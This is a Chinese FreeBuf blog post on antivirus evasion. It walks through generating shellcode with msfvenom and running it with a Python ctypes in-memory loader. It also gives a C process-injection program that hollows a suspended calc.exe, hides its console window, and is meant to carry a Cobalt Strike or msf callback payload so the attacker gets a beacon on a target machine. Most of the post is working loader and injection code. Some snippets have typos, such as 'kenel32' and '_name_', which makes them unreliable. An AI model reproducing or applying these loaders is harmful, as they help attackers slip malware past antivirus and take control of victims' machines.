freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

python-shellcode
2021-11-06 20:26:18

shellcode

前言

免杀技术又叫反查杀技术,意为免于被杀毒软件查杀。免杀技术中包含很多内容,如汇编、逆向、系统漏洞等。主要思路是通过修改木马及病毒的特征,包括代码特征、行为特征,从而躲避杀毒软件的查杀

生成shellcode

1、shellcode是利用软件漏洞获得目标机器shell,为十六进制的机器码,它是在漏洞利用过程中不可或缺的部分。shellcode常用机器语言编写,可在寄存器eip溢出后,载入一段让CPU执行的shellcode机器码,让计算机可以执行任意指令,但是在网上存在的shellcode并不通用,需要选择合适的shellcode,所以可以选择去漏洞库中寻找合适的shellcode,如exploit-db漏洞库,还可以通过软件获取shellcode,如msf中的msfvenom模块,输入msfvenom -l 即可查看所有的payload信息

image-20210827145231146

2、在此我们进行尝试,生成一个名可以打开目标机器的计算器(calc.exe)的python脚本。

选择windows/x64/exec模块,键入-f选项指定生成脚本为python脚本的shellcode,可以看到16进制的编码

image-20210827150429628


1、内存加载shellcode

以上生成了一个目标机器的计算器(calc.exe)的python的shellcode

1.1、导入sys和ctypes模块,给程序分配内存后执行读写操作

image-20210827170053864

from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040     #   区域可执行代码,可读可写
MEM_COMMIT = 0X3000   #分配内存
PROCESS_ALL_ACCESS = ( 0X000F0000 | 0X00100000 | 0xFFF )    #给予进程所有权限


2、调用Windows api,以便后续进行调用,Windows中有很多内置的API,在执行shellcode的时候需要调用相关的API函数,在免杀过程中,许多杀软会监控Windows的API,调用一些底层函数,或者少见的API函数,就可以杀软的API检测

image-20210827170602329


#调用Windows api

VirtualAlloc = windll.kernel32.VirtualAlloc

RtlMoveMemory = windll.kernel32.RtlMoveMemory

CreateThread = windll.kernel32.CreateThread

WaitForSingleObject = windll.kernel32.WaitForSingleObject

OpenProcess = windll.kernel32.OpenProcess

VirtualAllocEx = windll.kernel32.VirtualAllocEx

WriteProcessMemory = windll.kenel32.WriteProcessMemory

CreateRemoteThread = windll.kernel32.CreateRemoteThread



3、将前面生成的shellcode赋值给shellcode函数,赋值前使用bytearray函数处理:

image-20210827173811506

4、创建一个方法调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:

image-20210827174017762



#创建一个方法并调用
def run1():
VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)    #申请内存
buf = (c_char * len(shellcode)).from_buffer(shellcode)   #将shellcode指向指针
RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))   #复制shellcode到申请的内存中
h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0)))     #执行创建线程

   WaitForSingleObject(c_int(h),c_int(-1))   #检测线程
   if _name_ == "_main_":
       run1()



5、运行后成功弹出计算器


2、生成64位ShellCode代码命令


image-20211106174852168


image-20211106175518508

image-20211106175459929

将上述生成的shellcode放入以下代码中

示例代码:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;

//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";

BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;

//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;

//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");

//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

//创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
  FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
  , NULL, NULL, &si, &pi) == 0)
{
  return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
  , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
  PAGE_EXECUTE_READWRITE);

if (lpnewVictimBaseAddr == NULL)
{
  return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
  (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

hThread = CreateRemoteThread(pi.hProcess, 0, 0,
  (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}

void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}

int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}

编译后,在靶机上尝试上线

1636201339_6186737b8456e13fa9490.png!small?1636201339139


ps:文章中若存在错误,烦请指出更改

# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录